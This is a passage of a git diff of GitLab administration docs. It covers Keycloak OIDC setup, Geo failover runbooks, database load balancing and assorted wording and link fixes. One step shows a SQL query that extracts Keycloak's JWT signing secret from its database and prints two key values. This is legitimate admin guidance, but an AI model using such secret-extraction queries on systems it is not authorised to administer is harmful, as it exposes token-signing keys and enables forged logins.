+**Realm Settings > Tokens > Default Signature Algorithm**.
+
+Example Omnibus configuration block:
```ruby
gitlab_rails['omniauth_providers'] = [
-{
- 'name' => 'openid_connect',
- 'label' => 'Azure B2C OIDC',
- 'args' => {
+ {
'name' => 'openid_connect',
- 'scope' => ['openid'],
- 'response_mode' => 'query',
- 'response_type' => 'id_token',
- 'issuer' => 'https://<YOUR-DOMAIN>/tfp/<YOUR-TENANT-ID>/b2c_1a_signup_signin/v2.0/',
- 'client_auth_method' => 'query',
- 'discovery' => true,
- 'send_scope_to_token_endpoint' => true,
- 'client_options' => {
- 'identifier' => '<YOUR APP CLIENT ID>',
- 'secret' => '<YOUR APP CLIENT SECRET>',
- 'redirect_uri' => 'https://gitlab.example.com/users/auth/openid_connect/callback'
+ 'label' => 'Keycloak',
+ 'args' => {
+ 'name' => 'openid_connect',
+ 'scope' => ['openid', 'profile', 'email'],
+ 'response_type' => 'code',
+ 'issuer' => 'https://keycloak.example.com/auth/realms/myrealm',
+ 'client_auth_method' => 'query',
+ 'discovery' => true,
+ 'uid_field' => 'preferred_username',
+ 'client_options' => {
+ 'identifier' => '<YOUR CLIENT ID>',
+ 'secret' => '<YOUR CLIENT SECRET>',
+ 'redirect_uri' => 'https://gitlab.example.com/users/auth/openid_connect/callback'
+ }
}
}
-}]
+]
```
-#### Troubleshooting Azure B2C
+##### Configure Keycloak with a symmetric key algorithm
-- Ensure all occurrences of `yourtenant.onmicrosoft.com`, `ProxyIdentityExperienceFrameworkAppId`, and `IdentityExperienceFrameworkAppId` match your B2C tenant hostname and
-the respective client IDs in the XML policy files.
+> Introduced in GitLab 14.2.
-- Add `https://jwt.ms` as a redirect URI to the app, and use the [custom policy tester](https://docs.microsoft.com/en-us/azure/active-directory-b2c/tutorial-create-user-flows?pivots=b2c-custom-policy#test-the-custom-policy).
-Make sure the payload includes `email` that matches the user's e-mail access.
+WARNING:
+The instructions below are included for completeness, but symmetric key
+encryption should only be used when absolutely necessary.
-- After you enable the custom policy, users might see "Invalid username or password" after they try to sign in. This might be a configuration
-issue with the `IdentityExperienceFramework` app. See [this Microsoft comment](https://docs.microsoft.com/en-us/answers/questions/50355/unable-to-sign-on-using-custom-policy.html?childToView=122370#comment-122370)
-that suggests checking that the app manifest contains these settings:
+To use symmetric key encryption:
- - `"accessTokenAcceptedVersion": null`
- - `"signInAudience": "AzureADMyOrg"`
+1. Extract the secret key from the Keycloak database. Keycloak doesn't expose this value in the Web
+ interface. The client secret seen in the Web interface is the OAuth2 client secret, which is
+ different from the secret used to sign JSON Web Tokens.
+
+ For example, if you're using PostgreSQL as the backend database for Keycloak, log in to the
+ database console and extract the key via this SQL query:
+
+ ```sql
+ $ psql -U keycloak
+ psql (13.3 (Debian 13.3-1.pgdg100+1))
+ Type "help" for help.
+
+ keycloak=# SELECT c.name, value FROM component_config CC INNER JOIN component C ON(CC.component_id = C.id) WHERE C.realm_id = 'master' and provider_id = 'hmac-generated' AND CC.name = 'secret';
+ -[ RECORD 1 ]---------------------------------------------------------------------------------
+ name | hmac-generated
+ value | lo6cqjD6Ika8pk7qc3fpFx9ysrhf7E62-sqGc8drp3XW-wr93zru8PFsQokHZZuJJbaUXvmiOftCZM3C4KW3-g
+ -[ RECORD 2 ]---------------------------------------------------------------------------------
+ name | fallback-HS384
+ value | UfVqmIs--U61UYsRH-NYBH3_mlluLONpg_zN7CXEwkJcO9xdRNlzZfmfDLPtf2xSTMvqu08R2VhLr-8G-oZ47A
+ ```
+
+ In this example, there are two private keys: one for HS256 (`hmac-generated`), and another for
+ HS384 (`fallback-HS384`). We use the first `value` to configure GitLab.
+
+1. Convert `value` to standard base64. As [discussed in the post](https://keycloak.discourse.group/t/invalid-signature-with-hs256-token/3228/9),
+ `value` is encoded in ["Base 64 Encoding with URL and Filename Safe Alphabet" in RFC 4648](https://datatracker.ietf.org/doc/html/rfc4648#section-5).
+ This needs to be converted to [standard base64 as defined in RFC 2045](https://datatracker.ietf.org/doc/html/rfc2045).
+ The following Ruby script does this:
+
+ ```ruby
+ require 'base64'
+
+ value = "lo6cqjD6Ika8pk7qc3fpFx9ysrhf7E62-sqGc8drp3XW-wr93zru8PFsQokHZZuJJbaUXvmiOftCZM3C4KW3-g"
+ Base64.encode64(Base64.urlsafe_decode64(value))
+ ```
+
+ This results in the following value:
+
+ ```markdown
+ lo6cqjD6Ika8pk7qc3fpFx9ysrhf7E62+sqGc8drp3XW+wr93zru8PFsQokH\nZZuJJbaUXvmiOftCZM3C4KW3+g==\n
+ ```
+
+1. Specify this base64-encoded secret in `jwt_secret_base64`. For example:
+
+ ```ruby
+ gitlab_rails['omniauth_providers'] = [
+ {
+ 'name' => 'openid_connect',
+ 'label' => 'Keycloak',
+ 'args' => {
+ 'name' => 'openid_connect',
+ 'scope' => ['openid', 'profile', 'email'],
+ 'response_type' => 'code',
+ 'issuer' => 'https://keycloak.example.com/auth/realms/myrealm',
+ 'client_auth_method' => 'query',
+ 'discovery' => true,
+ 'uid_field' => 'preferred_username',
+ 'jwt_secret_base64' => '<YOUR BASE64-ENCODED SECRET>',
+ 'client_options' => {
+ 'identifier' => '<YOUR CLIENT ID>',
+ 'secret' => '<YOUR CLIENT SECRET>',
+ 'redirect_uri' => 'https://gitlab.example.com/users/auth/openid_connect/callback'
+ }
+ }
+ }
+ ]
+ ```
- Note that this configuration corresponds with the `Supported account types` setting used when creating the `IdentityExperienceFramework` app.
+If after reconfiguring, you see the error `JSON::JWS::VerificationFailed` error message, this means
+the incorrect secret was specified.
## General troubleshooting
diff --git a/doc/administration/auth/okta.md b/doc/administration/auth/okta.md
deleted file mode 100644
index 64b42339d19..00000000000
--- a/doc/administration/auth/okta.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: '../../integration/saml.md'
-remove_date: '2021-06-15'
----
-
-This document was moved to [another location](../../integration/saml.md).
-
-<!-- This redirect file can be deleted after 2021-06-15>. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/compliance.md b/doc/administration/compliance.md
index 6b80ddbcdb5..742d23105a9 100644
--- a/doc/administration/compliance.md
+++ b/doc/administration/compliance.md
@@ -10,13 +10,14 @@ You can configure the following GitLab features to help ensure that your GitLab
instance meets common compliance standards. Click a feature name for additional
documentation.
-The [security features](../security/README.md) in GitLab may also help you meet
+The [security features](../security/index.md) in GitLab may also help you meet
relevant compliance standards.
| Feature | GitLab tier | GitLab SaaS | Product level |
|----------|:-----------:|:-----------:|:-------------:|
|**[Restrict SSH Keys](../security/ssh_keys_restrictions.md)**<br>Control the technology and key length of SSH keys used to access GitLab. | Free+ | **{dotted-circle}** No | Instance |
|**[Granular user roles and flexible permissions](../user/permissions.md)**<br>Manage access and permissions with five different user roles and settings for external users. Set permissions according to people's role, rather than either read or write access to a repository. Don't share the source code with people that only need access to the issue tracker. | Free+ | **{check-circle}** Yes | Instance, Group, Project |
+|**[Generate reports on permission levels of users](../user/admin_area/index.md#user-permission-export)**<br>Administrators can generate a report listing all users' access permissions for groups and projects in the instance. | Premium+ | **{dotted-circle}** No | Instance |
|**[Enforce TOS acceptance](../user/admin_area/settings/terms.md)**<br>Enforce your users accepting new terms of service by blocking GitLab traffic. | Free+ | **{dotted-circle}** No | Instance |
|**[Email all users of a project, group, or entire server](../tools/email.md)**<br>An administrator can email groups of users based on project or group membership, or email everyone using the GitLab instance. This is great for scheduled maintenance or upgrades. | Premium+ | **{dotted-circle}** No | Instance |
|**[Omnibus package supports log forwarding](https://docs.gitlab.com/omnibus/settings/logs.html#udp-log-forwarding)**<br>Forward your logs to a central system. | Premium+ | **{dotted-circle}** No | Instance |
@@ -26,7 +27,7 @@ relevant compliance standards.
|**[Audit events](audit_events.md)**<br>To maintain the integrity of your code, GitLab Enterprise Edition Premium gives administrators the ability to view any modifications made within the GitLab server in an advanced audit events system, so you can control, analyze, and track every change. | Premium+ | **{check-circle}** Yes | Instance, Group, Project |
|**[Auditor users](auditor_users.md)**<br>Auditor users are users who are given read-only access to all projects, groups, and other resources on the GitLab instance. | Premium+ | **{dotted-circle}** No | Instance |
|**[Credentials inventory](../user/admin_area/credentials_inventory.md)**<br>With a credentials inventory, GitLab administrators can keep track of the credentials used by all of the users in their GitLab instance. | Ultimate | **{dotted-circle}** No | Instance |
-|**Separation of Duties using [Protected branches](../user/project/protected_branches.md#protected-branches-approval-by-code-owners) and [custom CI Configuration Paths](../ci/pipelines/settings.md#custom-cicd-configuration-file)**<br> GitLab Premium users can leverage the GitLab cross-project YAML configurations to define deployers of code and developers of code. View the [Separation of Duties Deploy Project](https://gitlab.com/guided-explorations/separation-of-duties-deploy/blob/master/README.md) and [Separation of Duties Project](https://gitlab.com/guided-explorations/separation-of-duties/blob/master/README.md) to see how to use this set up to define these roles. | Premium+ | **{check-circle}** Yes | Project |
+|**Separation of Duties using [Protected branches](../user/project/protected_branches.md#require-code-owner-approval-on-a-protected-branch) and [custom CI Configuration Paths](../ci/pipelines/settings.md#specify-a-custom-cicd-configuration-file)**<br> GitLab Premium users can leverage the GitLab cross-project YAML configurations to define deployers of code and developers of code. View the [Separation of Duties Deploy Project](https://gitlab.com/guided-explorations/separation-of-duties-deploy/blob/master/README.md) and [Separation of Duties Project](https://gitlab.com/guided-explorations/separation-of-duties/blob/master/README.md) to see how to use this set up to define these roles. | Premium+ | **{check-circle}** Yes | Project |
|**[Compliance frameworks](../user/project/settings/index.md#compliance-frameworks)**<br>Create a custom compliance framework at the group level to describe the type of compliance requirements any child project needs to follow. | Premium+ | **{check-circle}** Yes | Group |
|**[Compliance pipelines](../user/project/settings/index.md#compliance-pipeline-configuration)**<br>Define a pipeline configuration to run for any projects with a given compliance framework. | Ultimate | **{check-circle}** Yes | Group |
|**[Compliance dashboard](../user/compliance/compliance_dashboard/index.md)**<br>Quickly get visibility into the compliance posture of your organization. | Ultimate | **{check-circle}** Yes | Group |
diff --git a/doc/administration/configure.md b/doc/administration/configure.md
index 12a8f721ccf..73fbf527fe1 100644
--- a/doc/administration/configure.md
+++ b/doc/administration/configure.md
@@ -9,7 +9,7 @@ type: reference
Customize and configure your self-managed GitLab installation.
-- [Authentication](auth/README.md)
+- [Authentication](auth/index.md)
- [Configuration](../user/admin_area/index.md)
- [Repository storage](repository_storage_paths.md)
- [Geo](geo/index.md)
diff --git a/doc/administration/database_load_balancing.md b/doc/administration/database_load_balancing.md
index e9f989c96ea..7d17b22a4d7 100644
--- a/doc/administration/database_load_balancing.md
+++ b/doc/administration/database_load_balancing.md
@@ -31,7 +31,7 @@ sent to the primary (unless necessary), the primary (`db3`) hardly has any load.
## Requirements
-For load balancing to work you will need at least PostgreSQL 11 or newer,
+For load balancing to work, you need at least PostgreSQL 11 or newer,
[**MySQL is not supported**](../install/requirements.md#database). You also need to make sure that you have
at least 1 secondary in [hot standby](https://www.postgresql.org/docs/11/hot-standby.html) mode.
@@ -42,7 +42,7 @@ you should put a load balancer in front of every database, and have GitLab conne
to those load balancers.
For example, say you have a primary (`db1.gitlab.com`) and two secondaries,
-`db2.gitlab.com` and `db3.gitlab.com`. For this setup you will need to have 3
+`db2.gitlab.com` and `db3.gitlab.com`. For this setup, you need to have 3
load balancers, one for every host. For example:
- `primary.gitlab.com` forwards to `db1.gitlab.com`
@@ -56,7 +56,7 @@ means forwarding should now happen as follows:
- `secondary1.gitlab.com` forwards to `db1.gitlab.com`
- `secondary2.gitlab.com` forwards to `db3.gitlab.com`
-GitLab does not take care of this for you, so you will need to do so yourself.
+GitLab does not take care of this for you, so you need to do so yourself.
Finally, load balancing requires that GitLab can connect to all hosts using the
same credentials and port as configured in the
@@ -72,7 +72,7 @@ different ports or credentials for different hosts is not supported.
## Enabling load balancing
For the environment in which you want to use load balancing, you'll need to add
-the following. This will balance the load between `host1.example.com` and
+the following. This balances the load between `host1.example.com` and
`host2.example.com`.
**In Omnibus installations:**
@@ -104,32 +104,19 @@ the following. This will balance the load between `host1.example.com` and
1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect.
-### Enable the load balancer for Sidekiq
+### Load balancing for Sidekiq
-Sidekiq mostly writes to the database, which means that most of its traffic hits the
-primary database.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/334494) in GitLab 14.1, load balancing for Sidekick is enabled by default.
-Some background jobs can use database replicas to read application state.
+Sidekiq jobs mostly write to the primary database, but there are read-only jobs that can benefit
+from the use of Sidekiq load balancing.
+These jobs can use load balancing and database replicas to read the application state.
This allows to offload the primary database.
-Load balancing is disabled by default in Sidekiq. When enabled, we can define
-[the data consistency](../development/sidekiq_style_guide.md#job-data-consistency-strategies)
+For Sidekiq, we can define
+[data consistency](../development/sidekiq_style_guide.md#job-data-consistency-strategies)
requirements for a specific job.
-To enable it, define the `ENABLE_LOAD_BALANCING_FOR_SIDEKIQ` variable to the environment, as shown below.
-
-For Omnibus installations:
-
-```ruby
-gitlab_rails['env'] = {"ENABLE_LOAD_BALANCING_FOR_SIDEKIQ" => "true"}
-```
-
-For installations from source:
-
-```shell
-export ENABLE_LOAD_BALANCING_FOR_SIDEKIQ="true"
-```
-
## Service Discovery
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5883) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.0.
@@ -176,15 +163,15 @@ The following options can be set:
| `disconnect_timeout` | The time in seconds after which an old connection is closed, after the list of hosts was updated. | 120 |
| `use_tcp` | Lookup DNS resources using TCP instead of UDP | false |
-If `record_type` is set to `SRV`, GitLab will continue to use a round-robin algorithm
-and will ignore the `weight` and `priority` in the record. Since SRV records usually
-return hostnames instead of IPs, GitLab will look for the IPs of returned hostnames
+If `record_type` is set to `SRV`, then GitLab continues to use round-robin algorithm
+and ignores the `weight` and `priority` in the record. Since SRV records usually
+return hostnames instead of IPs, GitLab needs to look for the IPs of returned hostnames
in the additional section of the SRV response. If no IP is found for a hostname, GitLab
-will query the configured `nameserver` for ANY record for each such hostname looking for A or AAAA
+needs to query the configured `nameserver` for ANY record for each such hostname looking for A or AAAA
records, eventually dropping this hostname from rotation if it can't resolve its IP.
The `interval` value specifies the _minimum_ time between checks. If the A
-record has a TTL greater than this value, then service discovery will honor said
+record has a TTL greater than this value, then service discovery honors said
TTL. For example, if the TTL of the A record is 90 seconds, then service
discovery waits at least 90 seconds before checking the A record again.
diff --git a/doc/administration/external_pipeline_validation.md b/doc/administration/external_pipeline_validation.md
index 9fc65fdd0b5..738cf591210 100644
--- a/doc/administration/external_pipeline_validation.md
+++ b/doc/administration/external_pipeline_validation.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference, howto
---
-# External pipeline validation
+# External pipeline validation **(FREE SELF)**
You can use an external service to validate a pipeline before it's created.
diff --git a/doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md b/doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md
index 4cfe781c7a4..16ae5bde062 100644
--- a/doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md
+++ b/doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md
@@ -19,7 +19,7 @@ This runbook is in **alpha**. For complete, production-ready documentation, see
| Geo site | Multi-node |
| Secondaries | One |
-This runbook will guide you through a planned failover of a multi-node Geo site
+This runbook guides you through a planned failover of a multi-node Geo site
with one secondary. The following [2000 user reference architecture](../../../../administration/reference_architectures/2k_users.md) is assumed:
```mermaid
@@ -46,7 +46,7 @@ graph TD
The load balancer node and optional NFS server are omitted for clarity.
-This guide will result in the following:
+This guide results in the following:
1. An offline primary.
1. A promoted secondary that is now the new primary.
@@ -76,7 +76,7 @@ On the **secondary** node:
If any objects are failing to replicate, this should be investigated before
scheduling the maintenance window. After a planned failover, anything that
-failed to replicate will be **lost**.
+failed to replicate is **lost**.
You can use the
[Geo status API](../../../../api/geo_nodes.md#retrieve-project-sync-or-verification-failures-that-occurred-on-the-current-node)
@@ -117,10 +117,10 @@ follow these steps to avoid unnecessary data loss:
sudo iptables -A INPUT --tcp-dport 443 -j REJECT
```
- From this point, users will be unable to view their data or make changes on the
- **primary** node. They will also be unable to log in to the **secondary** node.
- However, existing sessions will work for the remainder of the maintenance period, and
- public data will be accessible throughout.
+ From this point, users are unable to view their data or make changes on the
+ **primary** node. They are also unable to log in to the **secondary** node.
+ However, existing sessions need to work for the remainder of the maintenance period, and
+ so public data is accessible throughout.
1. Verify the **primary** node is blocked to HTTP traffic by visiting it in browser via
another IP. The server should refuse connection.
@@ -170,8 +170,8 @@ follow these steps to avoid unnecessary data loss:
1. [Run an integrity check](../../../raketasks/check.md) to verify the integrity
of CI artifacts, LFS objects, and uploads in file storage.
- At this point, your **secondary** node will contain an up-to-date copy of everything the
- **primary** node has, meaning nothing will be lost when you fail over.
+ At this point, your **secondary** node contains an up-to-date copy of everything the
+ **primary** node has, meaning nothing is lost when you fail over.
1. In this final step, you need to permanently disable the **primary** node.
@@ -213,7 +213,7 @@ follow these steps to avoid unnecessary data loss:
- If you do not have SSH access to the **primary** node, take the machine offline and
prevent it from rebooting. Since there are many ways you may prefer to accomplish
- this, we will avoid a single recommendation. You may need to:
+ this, we avoid a single recommendation. You may need to:
- Reconfigure the load balancers.
- Change DNS records (for example, point the **primary** DNS record to the
@@ -248,7 +248,7 @@ issue has been fixed in GitLab 13.4 and later.
WARNING:
If the secondary node [has been paused](../../../geo/index.md#pausing-and-resuming-replication), this performs
a point-in-time recovery to the last known state.
-Data that was created on the primary while the secondary was paused will be lost.
+Data that was created on the primary while the secondary was paused is lost.
1. SSH in to the PostgreSQL node in the **secondary** and promote PostgreSQL separately:
diff --git a/doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md b/doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md
index 6caeddad51a..36c9d46d650 100644
--- a/doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md
+++ b/doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md
@@ -19,7 +19,7 @@ This runbook is in **alpha**. For complete, production-ready documentation, see
| Geo site | Single-node |
| Secondaries | One |
-This runbook will guide you through a planned failover of a single-node Geo site
+This runbook guides you through a planned failover of a single-node Geo site
with one secondary. The following general architecture is assumed:
```mermaid
@@ -34,7 +34,7 @@ graph TD
end
```
-This guide will result in the following:
+This guide results in the following:
1. An offline primary.
1. A promoted secondary that is now the new primary.
@@ -61,7 +61,7 @@ time to complete.
If any objects are failing to replicate, this should be investigated before
scheduling the maintenance window. After a planned failover, anything that
-failed to replicate will be **lost**.
+failed to replicate is **lost**.
You can use the
[Geo status API](../../../../api/geo_nodes.md#retrieve-project-sync-or-verification-failures-that-occurred-on-the-current-node)
@@ -102,10 +102,10 @@ follow these steps to avoid unnecessary data loss:
sudo iptables -A INPUT --tcp-dport 443 -j REJECT
```
- From this point, users will be unable to view their data or make changes on the
- **primary** node. They will also be unable to log in to the **secondary** node.
- However, existing sessions will work for the remainder of the maintenance period, and
- public data will be accessible throughout.
+ From this point, users are unable to view their data or make changes on the
+ **primary** node. They are also unable to log in to the **secondary** node.
+ However, existing sessions need to work for the remainder of the maintenance period, and
+ so public data is accessible throughout.
1. Verify the **primary** node is blocked to HTTP traffic by visiting it in browser via
another IP. The server should refuse connection.
@@ -155,8 +155,8 @@ follow these steps to avoid unnecessary data loss:
1. [Run an integrity check](../../../raketasks/check.md) to verify the integrity
of CI artifacts, LFS objects, and uploads in file storage.
- At this point, your **secondary** node will contain an up-to-date copy of everything the
- **primary** node has, meaning nothing will be lost when you fail over.
+ At this point, your **secondary** node contains an up-to-date copy of everything the
+ **primary** node has, meaning nothing is lost when you fail over.
1. In this final step, you need to permanently disable the **primary** node.
@@ -198,7 +198,7 @@ follow these steps to avoid unnecessary data loss:
- If you do not have SSH access to the **primary** node, take the machine offline and
prevent it from rebooting. Since there are many ways you may prefer to accomplish
- this, we will avoid a single recommendation. You may need to:
+ this, we avoid a single recommendation. You may need to:
- Reconfigure the load balancers.
- Change DNS records (for example, point the **primary** DNS record to the
@@ -240,7 +240,7 @@ To promote the secondary node:
1. Run the following command to list out all preflight checks and automatically
check if replication and verification are complete before scheduling a planned
- failover to ensure the process will go smoothly:
+ failover to ensure the process goes smoothly:
NOTE:
In GitLab 13.7 and earlier, if you have a data type with zero items to sync,
diff --git a/doc/administration/geo/glossary.md b/doc/administration/geo/glossary.md
index 1ec552326aa..f8769d31ec7 100644
--- a/doc/administration/geo/glossary.md
+++ b/doc/administration/geo/glossary.md
@@ -21,7 +21,7 @@ these definitions yet.
| Term | Definition | Scope | Discouraged synonyms |
|---------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------|-------------------------------------------------|
-| Node | An individual server that runs GitLab either with a specific role or as a whole (e.g. a Rails application node). In a cloud context this can be a specific machine type. | GitLab | instance, server |
+| Node | An individual server that runs GitLab either with a specific role or as a whole (for example a Rails application node). In a cloud context this can be a specific machine type. | GitLab | instance, server |
| Site | One or a collection of nodes running a single GitLab application. A site can be single-node or multi-node. | GitLab | deployment, installation instance |
| Single-node site | A specific configuration of GitLab that uses exactly one node. | GitLab | single-server, single-instance
| Multi-node site | A specific configuration of GitLab that uses more than one node. | GitLab | multi-server, multi-instance, high availability |
@@ -31,7 +31,7 @@ these definitions yet.
| Reference architecture(s) | A [specified configuration of GitLab for a number of users](../reference_architectures/index.md), possibly including multiple nodes and multiple sites. | GitLab | |
| Promoting | Changing the role of a site from secondary to primary. | Geo-specific | |
| Demoting | Changing the role of a site from primary to secondary. | Geo-specific | |
-| Failover | The entire process that shifts users from a primary Site to a secondary site. This includes promoting a secondary, but contains other parts as well e.g. scheduling maintenance. | Geo-specific | |
+| Failover | The entire process that shifts users from a primary Site to a secondary site. This includes promoting a secondary, but contains other parts as well. For example, scheduling maintenance. | Geo-specific | |
## Examples
diff --git a/doc/administration/geo/replication/configuration.md b/doc/administration/geo/replication/configuration.md
index 926c4c565aa..e8ffa1ae91a 100644
--- a/doc/administration/geo/replication/configuration.md
+++ b/doc/administration/geo/replication/configuration.md
@@ -196,9 +196,9 @@ keys must be manually replicated to the **secondary** node.
gitlab-ctl reconfigure
```
-1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the top bar of the primary node, select **Menu >** **{admin}** **Admin**.
1. On the left sidebar, select **Geo > Nodes**.
-1. Select **New node**.
+1. Select **Add site**.
![Add secondary node](img/adding_a_secondary_node_v13_3.png)
1. Fill in **Name** with the `gitlab_rails['geo_node_name']` in
`/etc/gitlab/gitlab.rb`. These values must always match *exactly*, character
diff --git a/doc/administration/geo/replication/datatypes.md b/doc/administration/geo/replication/datatypes.md
index 6989765dbad..a56d9dc813c 100644
--- a/doc/administration/geo/replication/datatypes.md
+++ b/doc/administration/geo/replication/datatypes.md
@@ -209,6 +209,6 @@ successfully, you must replicate their data using some other means.
#### Limitation of verification for files in Object Storage
-GitLab managed Object Storage replication support [is in beta](object_storage.md#enabling-gitlab-managed-object-storage-replication).
+GitLab managed Object Storage replication support [is in beta](object_storage.md#enabling-gitlab-managed-object-storage-replication).
Locally stored files are verified but remote stored files are not.
diff --git a/doc/administration/geo/replication/docker_registry.md b/doc/administration/geo/replication/docker_registry.md
index cc0719442a1..5cc4f66017b 100644
--- a/doc/administration/geo/replication/docker_registry.md
+++ b/doc/administration/geo/replication/docker_registry.md
@@ -53,7 +53,7 @@ We need to make Docker Registry send notification events to the
registry['notifications'] = [
{
'name' => 'geo_event',
- 'url' => 'https://example.com/api/v4/container_registry_event/events',
+ 'url' => 'https://<example.com>/api/v4/container_registry_event/events',
'timeout' => '500ms',
'threshold' => 5,
'backoff' => '1s',
@@ -65,7 +65,8 @@ We need to make Docker Registry send notification events to the
```
NOTE:
- Replace `<replace_with_a_secret_token>` with a case sensitive alphanumeric string
+ Replace `<example.com>` with the `external_url` defined in your primary site's `/etc/gitlab/gitlab.rb` file, and
+ replace `<replace_with_a_secret_token>` with a case sensitive alphanumeric string
that starts with a letter. You can generate one with `< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c 32 | sed "s/^[0-9]*//"; echo`
NOTE:
@@ -109,11 +110,14 @@ For each application and Sidekiq node on the **secondary** site:
1. Copy `/var/opt/gitlab/gitlab-rails/etc/gitlab-registry.key` from the **primary** to the node.
-1. Edit `/etc/gitlab/gitlab.rb`:
+1. Edit `/etc/gitlab/gitlab.rb` and add:
```ruby
gitlab_rails['geo_registry_replication_enabled'] = true
- gitlab_rails['geo_registry_replication_primary_api_url'] = 'https://primary.example.com:5050/' # Primary registry address, it will be used by the secondary node to directly communicate to primary registry
+
+ # Primary registry's hostname and port, it will be used by
+ # the secondary node to directly communicate to primary registry
+ gitlab_rails['geo_registry_replication_primary_api_url'] = 'https://primary.example.com:5050/'
```
1. Reconfigure the node for the change to take effect:
diff --git a/doc/administration/geo/replication/faq.md b/doc/administration/geo/replication/faq.md
index ef41b2ff172..28030dccb3b 100644
--- a/doc/administration/geo/replication/faq.md
+++ b/doc/administration/geo/replication/faq.md
@@ -23,7 +23,7 @@ For each project to sync:
1. Geo issues a `git fetch geo --mirror` to get the latest information from the **primary** site.
If there are no changes, the sync is fast. Otherwise, it has to pull the latest commits.
-1. The **secondary** site updates the tracking database to store the fact that it has synced projects A, B, C, etc.
+1. The **secondary** site updates the tracking database to store the fact that it has synced projects A, B, C, and so on.
1. Repeat until all projects are synced.
When someone pushes a commit to the **primary** site, it generates an event in the GitLab database that the repository has changed.
@@ -46,8 +46,8 @@ Read the documentation for [Disaster Recovery](../disaster_recovery/index.md).
## What data is replicated to a **secondary** site?
We currently replicate project repositories, LFS objects, generated
-attachments / avatars and the whole database. This means user accounts,
-issues, merge requests, groups, project data, etc., will be available for
+attachments and avatars, and the whole database. This means user accounts,
+issues, merge requests, groups, project data, and so on, will be available for
query.
## Can I `git push` to a **secondary** site?
@@ -58,7 +58,7 @@ Yes! Pushing directly to a **secondary** site (for both HTTP and SSH, including
All replication operations are asynchronous and are queued to be dispatched. Therefore, it depends on a lot of
factors including the amount of traffic, how big your commit is, the
-connectivity between your sites, your hardware, etc.
+connectivity between your sites, your hardware, and so on.
## What if the SSH server runs at a different port?
diff --git a/doc/administration/geo/replication/location_aware_git_url.md b/doc/administration/geo/replication/location_aware_git_url.md
index 014ca59e571..a80c293149e 100644
--- a/doc/administration/geo/replication/location_aware_git_url.md
+++ b/doc/administration/geo/replication/location_aware_git_url.md
@@ -88,7 +88,7 @@ routing configurations.
![Created policy record](img/single_git_created_policy_record.png)
-You have successfully set up a single host, e.g. `git.example.com` which
+You have successfully set up a single host, for example, `git.example.com` which
distributes traffic to your Geo sites by geolocation!
## Configure Git clone URLs to use the special Git URL
diff --git a/doc/administration/geo/replication/remove_geo_node.md b/doc/administration/geo/replication/remove_geo_node.md
deleted file mode 100644
index b72cd3cbb95..00000000000
--- a/doc/administration/geo/replication/remove_geo_node.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: '../../geo/replication/remove_geo_site.md'
-remove_date: '2021-06-01'
----
-
-This document was moved to [another location](../../geo/replication/remove_geo_site.md).
-
-<!-- This redirect file can be deleted after 2021-06-01 -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/geo/replication/security_review.md b/doc/administration/geo/replication/security_review.md
index ae41599311b..966902a3d74 100644
--- a/doc/administration/geo/replication/security_review.md
+++ b/doc/administration/geo/replication/security_review.md
@@ -60,7 +60,7 @@ from [owasp.org](https://owasp.org/).
access), but is constrained to read-only activities. The principal use case is
envisioned to be cloning Git repositories from the **secondary** site in favor of the
**primary** site, but end-users may use the GitLab web interface to view projects,
- issues, merge requests, snippets, etc.
+ issues, merge requests, snippets, and so on.
### What security expectations do the endâ€users have?
@@ -203,7 +203,7 @@ from [owasp.org](https://owasp.org/).
### What data entry paths does the application support?
- Data is entered via the web application exposed by GitLab itself. Some data is
- also entered using system administration commands on the GitLab servers (e.g.,
+ also entered using system administration commands on the GitLab servers (for example
`gitlab-ctl set-primary-node`).
- **Secondary** sites also receive inputs via PostgreSQL streaming replication from the **primary** site.
@@ -247,7 +247,7 @@ from [owasp.org](https://owasp.org/).
### What encryption requirements have been defined for data in transit - including transmission over WAN, LAN, SecureFTP, or publicly accessible protocols such as http: and https:?
- Data must have the option to be encrypted in transit, and be secure against
- both passive and active attack (e.g., MITM attacks should not be possible).
+ both passive and active attack (for example, MITM attacks should not be possible).
## Access
diff --git a/doc/administration/geo/replication/troubleshooting.md b/doc/administration/geo/replication/troubleshooting.md
index c00f523957c..d63e927627a 100644
--- a/doc/administration/geo/replication/troubleshooting.md
+++ b/doc/administration/geo/replication/troubleshooting.md
@@ -327,7 +327,7 @@ Slots where `active` is `f` are not active.
- When this slot should be active, because you have a **secondary** node configured using that slot,
log in to that **secondary** node and check the PostgreSQL logs why the replication is not running.
-- If you are no longer using the slot (e.g. you no longer have Geo enabled), you can remove it with in the
+- If you are no longer using the slot (for example, you no longer have Geo enabled), you can remove it with in the
PostgreSQL console session:
```sql
@@ -378,7 +378,7 @@ This happens on wrongly-formatted addresses in `postgresql['md5_auth_cidr_addres
```
To fix this, update the IP addresses in `/etc/gitlab/gitlab.rb` under `postgresql['md5_auth_cidr_addresses']`
-to respect the CIDR format (i.e. `1.2.3.4/32`).
+to respect the CIDR format (that is, `1.2.3.4/32`).
### Message: `LOG: invalid IP mask "md5": Name or service not known`
@@ -390,7 +390,7 @@ This happens when you have added IP addresses without a subnet mask in `postgres
```
To fix this, add the subnet mask in `/etc/gitlab/gitlab.rb` under `postgresql['md5_auth_cidr_addresses']`
-to respect the CIDR format (i.e. `1.2.3.4/32`).
